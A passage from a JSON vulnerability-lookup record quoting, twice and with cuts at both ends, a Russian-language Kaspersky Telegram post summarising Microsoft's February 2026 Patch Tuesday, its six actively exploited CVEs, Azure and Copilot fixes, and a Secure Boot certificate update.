\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "b20e3f15-7fbc-4a85-b6ec-6918b1b75bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 